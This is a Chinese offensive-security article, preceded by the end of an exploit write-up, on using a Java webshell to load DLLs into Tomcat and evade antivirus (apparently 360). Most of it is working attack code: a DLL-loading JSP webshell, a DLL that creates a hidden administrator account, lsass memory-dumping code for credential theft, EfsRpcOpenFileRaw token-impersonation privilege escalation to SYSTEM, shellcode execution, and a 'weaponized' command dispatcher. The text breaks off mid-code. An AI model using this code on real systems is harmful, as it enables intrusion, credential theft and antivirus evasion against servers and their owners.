babyshellcode+0x16a8:
000a16a8 46 inc esi
0:000> p//获取下一字节
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000001 edi=005488a8
eip=000a16a9 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
babyshellcode+0x16a9:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Userssh1Desktopucrtbase.DLL -
000a16a9 ff15e4300a00 call dword ptr [babyshellcode+0x30e4 (000a30e4)] ds:0023:000a30e4={ucrtbase!getchar (5740b260)}
0:000> p//判断长度
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16af esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babyshellcode+0x16af:
000a16af 81fe2c010000 cmp esi,12Ch
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16b5 esp=0036f90c ebp=0036f938 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
babyshellcode+0x16b5:
000a16b5 75e9 jne babyshellcode+0x16a0 (000a16a0) [br=1]
0:000> p//判断是否是回车
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a0 esp=0036f90c ebp=0036f938 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
babyshellcode+0x16a0:
000a16a0 3c0a cmp al,0Ah
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a2 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a2:
000a16a2 7413 je babyshellcode+0x16b7 (000a16b7) [br=0]
0:000> p//继续写入
Breakpoint 0 hit
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a4:
000a16a4 884435e8 mov byte ptr [ebp+esi-18h],al ss:0023:0036f921=00
这里判断的长度是0x12C，也就是300，但实际上拷贝目标ebp-18很短，而esi会不断增加，而没有做控制，最关键的是这个过程。
.text:004016A4 ; 20: *((_BYTE *)&v5 + v0++) = v1;
.text:004016A4 mov byte ptr [ebp+esi+var_18], al
.text:004016A8 ; 21: v1 = getchar();
.text:004016A8 inc esi//key！！
.text:004016A9 call ds:getchar
.text:004016AF ; 23: while ( v0 != 300 );
.text:004016AF cmp esi, 12Ch
这里是在赋值结束之后，才将esi自加1，然后才去做长度判断，然后再跳转去做是否回车的判断，如果回车则退出，也就是说，这里会多造成4字节的内存泄漏，我们来看一下赋值过程中的内存情况。
0:000> dd ebp-18 l7
0036f920 00000061 00000000 00000000 00000000
0036f930 00000000 1ea6b8ab 0036f980
可以看到，在0036f920地址偏移+0x18的位置存放着一个栈地址，也就是说，如果我们让name的长度覆盖到0036f938位置的时候，多泄露的4字节是一个栈地址，这样我们就可以用来fix
seh stack了。
有了这个内存泄漏，我们就可以重新构造栈布局了，栈布局如下：
这样，结合之前我们的整个利用过程，完成整个利用链，最后完成shell交互。 | 社区文章 |
**作者：倾旋
原文链接：<https://payloads.online/archivers/2022-08-11/1/>**
通常情况下获得Java
Webshell碰到数字杀毒的场景居多，在这个环境中经常会遇到无法执行命令或命令被拦截的情况，很多小伙伴遇到这个问题就劝退了，我猜测是有一套进程链的检测方式导致了命令无法执行，于是去查看Java的文档，查阅到Java能够加载动态链接库且能够执行动态链接库中的代码，本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截.....
## 0x00 前言
通常情况下获得Java
Webshell碰到数字杀毒的场景居多，在这个环境中经常会遇到无法执行命令或命令被拦截的情况，很多小伙伴遇到这个问题就劝退了，我猜测是有一套进程链的检测方式导致了命令无法执行，于是去查看Java的文档，查阅到Java能够加载动态链接库且能够执行动态链接库中的代码，本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截，但在演示之前，需要铺垫一些基础知识，如：猜想的进程链、Windows错误代码、Java加载动态链接库常见的三种办法、Windows动态链接库、土豆提权原理、命名管道技术等。
## 0x01 猜想的进程链
在获取Webshell以后，一般执行命令都会调用 `Runtime.exec` ，当然也有其他的命令执行方式，这里不再讨论，执行的命令一般分为两种：
* 系统自带的PE文件，后面跟上参数
* CMD或Powershell中内置的命令
例如：`dir` 命令与`forfiles`命令，这两个命令都可以列出文件夹内的文件，但要执行 `dir` 需要启动 `cmd.exe` 或者
`powershell.exe` ，执行的过程中进程链就像这样：
在这个过程里，进程的链是`java.exe`创建了`cmd.exe` ，那么很容易就能发现问题，每执行一条命了都会创建一个`cmd.exe`
的进程。从`Runtime.exec` 执行命令到Windows API CreateProcess
创建`cmd.exe`这个进程是通过JVM翻译过来的，数字杀毒会Hook CreateProcess API达到监控拦截的目的。
而forfiles是一个PE文件，不是CMD内置的命令，所以不需要创建`cmd.exe`也可以执行，它的进程链会是这样：
达到了同样的目的，但是没有创建`cmd.exe`
，为了体验上的考量现在的大部分Webshell管理工具执行命令都是要创建cmd.exe的，那么如何让我们的操作都不创建`cmd.exe`呢？
其实只需要改一下原来的小马即可：
public static void main(String[] args) {
try {
// String cmdStr = "cmd.exe /c forfiles.exe /p C:\\" ;
String cmdStr = "forfiles.exe /p C:\\" ;
Runtime.getRuntime().exec(cmdStr);
}catch(Exception e){
e.printStackTrace();
}
}
这样虽然不会创建进程，但大部分命令还是会拦截，例如：net.exe net1.exe
## 0x02 Windows错误代码
经常会遇到一些Windows下的工具刨出Error Code 5，到底代表什么意思？
这个Error Code 5其实是Windows的错误代码，每一个代码都代表了不同的含义。
查询错误代码的含义可以通过 `net helpmsg` 命令：
Visual Studio 有一个工具可以查询错误代码，名为errlookup：
有的时候Webshell管理工具并没有直接给出错误代码的含义，而是直接抛出错误代码，这种情况就能使用命令或者工具去查询，了解错误的发生到底是因为什么问题。
## 0x03 Java加载动态链接库常见的三种办法
Java加载动态链接库常见的有三种办法：
* System.load / System.loadLibrary
* Runtime.getRuntime().load
* com.sun.glass.utils.NativeLibLoader.loadLibrary
private void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
}
private void SystemLoad(String path){
System.load(path);
}
// 有些JDK版本没有这个对象，因此采用反射加载进行运行
private void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.invoke(path);
}
}
第三种有些JDK版本没有这个对象，因此采用反射加载进行运行。
大致流程如下：
System.load` → `Runtime.getRuntime**()**.load0**()**` → `ClassLoader.loadLibrary` → `NativeLibrary.load` → `native void load*(*String name, boolean isBuiltin*)*
我实现了一个简单版本的DLL加载JSP代码，确保每一个请求都可以加载一个DLL模块到Java进程中：
<jsp:declaration>
// 获取随机的动态链接库文件名称
private String getFileName(){
String fileName = "";
java.util.Random random = new java.util.Random(System.currentTimeMillis());
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
}else {
fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
// JSP 声明函数中无法获取全局默认的ServletRequest对象，但ServletRequest继承java.io.InputStream，可以替代
public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName());
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(stream));
fos.close();
return file.getAbsolutePath();
}
private void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
}
private void SystemLoad(String path){
System.load(path);
}
// 有些JDK版本没有这个对象，因此采用反射加载进行运行
private void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.invoke(path);
}
}
</jsp:declaration>
<jsp:scriptlet>
// 加载方式
String method = request.getHeader("WWW-Authenticate");
try{
ServletInputStream stream = request.getInputStream();
if (stream.available() == 0){
out.println(System.getProperty("os.arch"));
return;
}
String file = UploadBase64DLL(stream);
// 按照Header头选择加载方式
switch (method){
case "1":
RuntimeLoad(file);
break;
case "2":
SystemLoad(file);
break;
case "3":
NativeLoad(file);
break;
default:
RuntimeLoad(file);
break;
}
}catch (Exception e){
System.out.println(e.toString());
}
</jsp:scriptlet>
## 0x04 Windows 动态链接库
DLL(Dynamic Link Library)文件为动态链接库文件，又称“应用程序拓展”，是软件文件类型。
在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。在Windows平台下，我们使用的应用程序中的功能其实大多都很相似，窗口调用窗口的模块，分配内存调用内存管理的模块，文件操作调用IO模块，这些模块在Windows里的具体表现就是DLL文件。
在之前的文章中有简单总结过Dll的一些知识，这里就不做详细介绍了：
* [DllMain与rundll32详解](https://payloads.online/archivers/2019-10-02/1/)
* [DLL Hijacking & COM Hijacking ByPass UAC - 议题解读](https://payloads.online/archivers/2018-12-22/1/#0x02-dll是什么)
在Windows操作系统中，每一个进程加载一个DLL都会默认执行DLLMain函数，利用这个加载的特性我们可以在Java.exe进程中做一些敏感操作，并且这个进程是白名单、签名的。
## 0x05 实战绕过数字杀毒添加用户
前提条件：
* 有一个管理员权限的Webshell
* 编写一个添加用户的DLL
首先上传之前写好的专门用于加载DLL的JSP文件，然后编写一个添加用户的DLL文件：
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <Tchar.h>
#pragma comment(lib,"netapi32.lib")
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
//
// Create user
// http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx
//
memset(&ud, 0, sizeof(ud));
ud.usri1_name = (LPWSTR)TEXT("audit"); // username
ud.usri1_password = (LPWSTR)TEXT("Test123456789!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
//
// Get user SID
// http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx
//
b = LookupAccountName(
NULL, // local server
_T("audit"), // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
//
// Add user to "Administrators" local group
// http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx
//
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在DllMain函数中调用CreateAdminUserInternal实现添加管理员用户audit。将dll文件进行base64编码，发送到加载动态链接库的jsp页面，就可以绕过数字杀毒添加用户了：
发送之前：
发送之后：
至此管理员用户添加成功。
当DLL的编译架构与Java进程的位数不同，加载会失败，抛出：`Can't load AMD 64-bit .dll on a IA 32-bit
platform。`
这个问题只需要调整DLL的编译架构就行：
同样的我们还可以调用comsvcs.dll导出的MiniDumpW转储lsass.exe进程的内存。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
bool EnableDebugPrivilege()
{
HANDLE hThis = GetCurrentProcess();
HANDLE hToken;
OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
LUID luid;
LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
TOKEN_PRIVILEGES priv;
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
CloseHandle(hToken);
CloseHandle(hThis);
return true;
}
int Dump() {
EnableDebugPrivilege();
WCHAR commandLine[MAX_PATH];
_MiniDumpW MiniDumpW;
DWORD lsassPID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
//遍历lsass.exe 的PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
_itow(lsassPID, commandLine, 10);
lstrcatW(commandLine, L" C:\\Windows\\Temp\\111.sql full");
MiniDumpW(0, 0, commandLine);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Dump();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译成DLL文件发送过去后，我们可以看到Tomcat.exe或者Java.exe的Debug权限已经被开启：
在`C:\Windows\Temp`目录下已经生成进程的内存转储文件。
**注意：如果Tomcat是以SERVICE账户启动的，那么直接加载DLL会造成Tomcat直接崩溃无法工作，这些敏感操作的失败会引发系统的错误处理程序，最终导致Tomcat进程关闭，在实战中应根据业务的重要程度谨慎操作。**
为了避免类似的风险情况，我增加了权限判断、重复转储判断：
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
BOOL CheckPrivilege() {
BOOL state;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
state = AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS,0, 0, 0, 0,
&AdministratorsGroup);
if (state)
{
if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
{
state = FALSE;
}
FreeSid(AdministratorsGroup);
}
return state;
}
BOOL EnableDebugPrivilege()
{
HANDLE hThis = GetCurrentProcess();
HANDLE hToken;
OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
LUID luid;
LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
TOKEN_PRIVILEGES priv;
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
if (isEnabiled) {
CloseHandle(hToken);
CloseHandle(hThis);
return TRUE;
}
return FALSE;
}
DWORD GetLsassPID() {
DWORD lsassPID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
//遍历lsass.exe 的PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
return lsassPID;
}
BOOL CheckFileExists(PWCHAR file) {
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData,FindExSearchNameMatch, NULL, 0);
if (hFind == INVALID_HANDLE_VALUE)
{
return FALSE;
}
return TRUE;
}
int Dump() {
WCHAR commandLine[MAX_PATH];
WCHAR DumpFile[] = L"C:\\Windows\\Temp\\111.sql";
_MiniDumpW MiniDumpW;
DWORD lsassPID = 0;
if (!CheckPrivilege()) {
return -1;
}
if (!EnableDebugPrivilege()) {
return -1;
}
if (CheckFileExists(DumpFile)) {
return 0;
}
lsassPID = GetLsassPID();
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
_itow_s(lsassPID, commandLine, 10);
lstrcatW(commandLine, L" ");
lstrcatW(commandLine, DumpFile);
lstrcatW(commandLine, L" full");
MiniDumpW(0, 0, commandLine);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Dump();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
首先判断权限是否是管理员或者SYSTEM权限，然后尝试启用SE_DEBUG权限，最后才进行转储，代码我上传到了Github仓库：<https://github.com/Rvn0xsy/j2osWin>
## 0x06 将Java进程进行权限提升
Tomcat 有三种权限运行模式：
● Local Service ● Network Service ● Users 默认安装好的Tomcat会自动运行在Local
Service账户下，意味着权限很低，如果目标安装了数字杀毒，就更加难以实现提权。
解决办法：
1. 利用System.LoadLibrary技术在Tomcat本身进程种执行任意代码
2. 利用执行任意代码的特点来进行土豆提权
3. 利用模拟Token创建执行Shellcode的线程，所有的交互通过Webshell与系统管道通信实现
### 0x06.1 EfsRpcOpenFileRaw 提权
土豆提权的原理：在Windows操作系统中，如果当前账户是Local Service/Network
Service，那么大部分情况下会有一个令牌模拟的权限，当高权限连接到Service账户开启的服务时，Service账户就可以通过令牌模拟获取客户端的权限来执行任意代码。
注意：令牌模拟仅是将当前线程的Token进行临时替换为客户端的令牌，其次，土豆提权仅限于本地操作系统才能工作，域内一般发起请求的都是域账户，或有同一账户体系的可信网络内。
土豆提权中有一个关于[MS-EFSR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8)
RPC接口的利用方式，通过创建一个命名管道，然后调用EfsRpcOpenFileRaw让SYSTEM特权账户连接到命名管道实现提权。[@zcgonvh](https://github.com/zcgonvh/EfsPotato/blob/master/EfsPotato.cs)
公开了一个C#的利用代码，并且我还请教了他，这里感谢头像哥的解答。
创建命名管道部分实现代码：
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
LocalFree(pwszPipeName);
return;
}
// 设置安全描述符
if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &((&sa)->lpSecurityDescriptor), NULL))
{
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
LocalFree(pwszPipeName);
return;
}
// 创建管道
hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
if (hPipe == INVALID_HANDLE_VALUE) {
return;
}
wprintf(L"[*] NamedPipe '%ls' listening...\n", pwszPipeName);
// 一直等待客户端连接，方便持续调用
for (;;) {
if (ConnectNamedPipe(hPipe, NULL) > 0) {
wprintf(L"[+] A client connected!\n");
// 模拟客户端Token
if (!ImpersonateNamedPipeClient(hPipe)) {
// 如果无法模拟就断开连接
DisconnectNamedPipe(hPipe);
continue;
}
GetUserName(szUser, &dwSize);
wprintf(L"[+] Impersonating dummy :) : %s\n\n\n\n", szUser);
// 将特权Token赋值到全局变量中
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &g_hSystemToken);
if (g_ShellcodeBuffer != NULL && g_dwShellcodeSize != 0) {
// 如果Shellcode不为空，就开始创建线程执行
ExecuteShellCodeWithToken(g_hSystemToken);
}
DisconnectNamedPipe(hPipe);
}
}
触发RPC连接实现代码：
RPC_STATUS status;
RPC_WSTR pszStringBinding;
RPC_BINDING_HANDLE BindingHandle;
status = RpcStringBindingCompose(
NULL,
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)L"\\\\127.0.0.1",
(RPC_WSTR)L"\\pipe\\lsass",
NULL,
&pszStringBinding
);
status = RpcBindingFromStringBinding(pszStringBinding, &BindingHandle);
status = RpcStringFree(&pszStringBinding);
RpcTryExcept{
PVOID pContent;
LPWSTR pwszFileName;
pwszFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pwszFileName, MAX_PATH, L"\\\\127.0.0.1/pipe/random\\C$\\x");
long result;
wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFileName);
result = EfsRpcOpenFileRaw(
BindingHandle,
&pContent,
pwszFileName,
0
);
status = RpcBindingFree(
&BindingHandle // Reference to the opened binding handle
);
LocalFree(pwszFileName);
}
RpcExcept(1)
{
wprintf(L"RpcExcetionCode: %d\n", RpcExceptionCode());
return FALSE;
}RpcEndExcept
每次调用EfsRpcOpenFileRaw都会触发SYSTEM进程连接命名管道，然后再通过ImpersonateNamedPipeClient模拟SYSTEM进程的权限执行代码，当ImpersonateNamedPipeClient函数调用成功后，当前线程的Token其实已经变成了SYSTEM账户的，特权代码执行完成后还可以用RevertToSelf恢复到原来的线程Token。
在我实现成功后遇到数字杀毒会拦截提权的行为，其实很多土豆提权成功后，会复制一份Token去创建进程，一般调用CreateProcessWithToken和CreateProcessAsUser比较多，被拦截的时候会是这样：
因此常规的办法是不行了，于是请教了头像哥，他的回复与我想的一样，用高权限的Token去跑一个特权线程，利用这个特权线程去执行Shellcode。
void ExecuteShellCodeWithToken(HANDLE hToken) {
HANDLE hThread = INVALID_HANDLE_VALUE;
DWORD dwThreadId = 0;
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID Mptr = HeapAlloc(hHeap, 0, g_dwShellcodeSize);
RtlCopyMemory(Mptr, g_ShellcodeBuffer, g_dwShellcodeSize);
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, CREATE_SUSPENDED, &dwThreadId);
SetThreadToken(&hThread, hToken);
ResumeThread(hThread);
}
思路如下：
* 将Shellcode拷贝到可执行堆内存块中
* 创建一个暂停的线程
* 将特权Token设置覆盖掉暂停的线程Token
* 恢复线程执行
成功执行Shellcode后的样子是这样的：
上线的User是SYSTEM，但是whoami是Local Service，这是因为当前线程是SYSTEM的，获取用户名的GetUserName
API是以当前线程Token作为权限查询的，而创建进程时并不会直接复制模拟的特权Token，这个时候只需要使用CobaltStrike的进程注入到其他SYSTEM进程即可。解决完Local
Service提权到SYSTEM被数字杀毒拦截的问题后，那就要思考如何做武器化了，因为在实战中不可能上传一个个DLL文件，我需要把所有的代码写到一个DLL中，通过控制JSP
Webshell的参数来达到各种功能的调用。
## 0x07 武器化的思路与实现
所有的代码跑在Tomcat的进程里的，而且只能执行DLLMain，那么怎么通过某种技术可以使得发送一个Web请求就执行DLL中的一些功能呢？
这个问题其实并没有难倒我，最简单的办法是用文件传递参数，每个Web请求过来后往文件中写内容，然后DLLMain里写一个循环读取也可以，但是文件的读写容易被干扰，并且涉及到线程的控制，稍微干扰一下就产生读写问题，容错率不高。
最终我采用了管道的形式，在DLLMain被执行时就创建一个命名管道，每个请求会连接管道往里写入16进制的单字节指令。
部分代码：
for (;;) {
if (ConnectNamedPipe(hPipe, NULL) > 0) {
CHAR szBuffer[BUFF_SIZE];
BYTE bMethod; // 操作方法
ZeroMemory(szBuffer, BUFF_SIZE);
wprintf(L"[+] Client Connected...\n");
// 读取操作方法
ReadFile(hPipe, &bMethod, 1, &dwLen, NULL);
switch (bMethod)
{
case METHOD_WMI_CREATE_PROCESS:
/// <summary>
/// 调用WMIC创建进程，无回显
/// 参数：process
/// </summary>
/// <param name=""></param>
/// <returns></returns>
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
CheckSuccessAndSendMsg(WMICCreateProcess(char2wchar(szBuffer)), hPipe);
break;
case METHOD_MINIDUMP_LSASS:
/// <summary>
/// 高权限的情况下转储Lsass进程内存
/// 参数：dump
/// </summary>
/// <param name=""></param>
/// <returns></returns>
CheckSuccessAndSendMsg(MiniDumpLsass(), hPipe);
break;
case METHOD_ADD_USER:
/// <summary>
/// 高权限的情况下添加用户
/// 参数：user
/// </summary>
/// <param name=""></param>
/// <returns></returns>
CheckSuccessAndSendMsg(CreateAdminUserInternal(), hPipe);
break;
case METHOD_SHELL_CODE_LOADE:
/// <summary>
/// 执行Shellcode
/// 参数：code
/// </summary>
/// <param name=""></param>
/// <returns></returns>
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
CheckSuccessAndSendMsg(ExecuteShellCode(szBuffer, dwLen), hPipe);
break;
case METHOD_GETSYSTEM:
/// <summary>
/// 创建命名管道
/// 参数：system
/// </summary>
/// <param name=""></param>
/// <returns></returns>
CheckSuccessAndSendMsg(Service2System(), hPipe);
break;
case METHOD_SYSTEM_EXECUTE:
/// <summary>
/// 触发RPC连接提权管道
/// 参数：system-run
/// </summary>
/// <param name=""></param>
/// <returns></returns>
CheckSuccessAndSendMsg(Execute(), hPipe);
break;
case METHOD_SET_SYSTEM_SHELLCODE:
/// <summary>
/// 设置全局Shellcode
/// 参数：system-code
/// </summary>
/// <param name=""></param>
/// <returns></returns>
ZeroMemory(szBuffer, BUFF_SIZE);
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
g_ShellcodeBuffer = new char[dwLen];
RtlCopyMemory(g_ShellcodeBuffer, szBuffer, dwLen);
g_dwShellcodeSize = dwLen;
break;
case METHOD_UNSET_SYSTEM_SHELLCODE:
/// <summary>
/// 清空全局Shellcode
/// 参数：system-uncode
/// </summary>
/// <param name=""></param>
/// <returns></returns>
g_dwShellcodeSize = 0;
g_ShellcodeBuffer = NULL;
break;
default:
break;
}
// 关闭连接
DisconnectNamedPipe(hPipe);
}
METHOD开头的常量代表了不同的功能：
#define PIPE_NAME L"\\\\.\\pipe\\josPipe"
#define BUFF_SIZE 1024
#define METHOD_WMI_CREATE_PROCESS 0x00 // WMIC 创建进程
#define METHOD_SHELL_CODE_LOADE 0x01 // SHELLCODE 加载
#define METHOD_MINIDUMP_LSASS 0x02 // 转储Lsass.exe
#define METHOD_ADD_USER 0x03 // 添加用户
#define METHOD_GETSYSTEM 0x04 // 利用EFS获取SYSTEM的Token
#define METHOD_SYSTEM_EXECUTE 0x05 // 以SYSTEM权限执行命令
#define METHOD_SET_SYSTEM_SHELLCODE 0x07 // 设置Shellcode
#define METHOD_UNSET_SYSTEM_SHELLCODE 0x08 // 取消设置Shellcode
Java Webshell的改造代码如下：
<%@ page import="java.io.RandomAccessFile" %>
<%!
private String getFileName(){
String fileName = "";
java.util.Random random = new java.util.Random(System.currentTimeMillis());
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
}else {
fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName());
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(stream));
fos.close();
return file.getAbsolutePath();
}
private void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
}
private void SystemLoad(String path){
System.load(path);
}
private void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
if(Native != null){
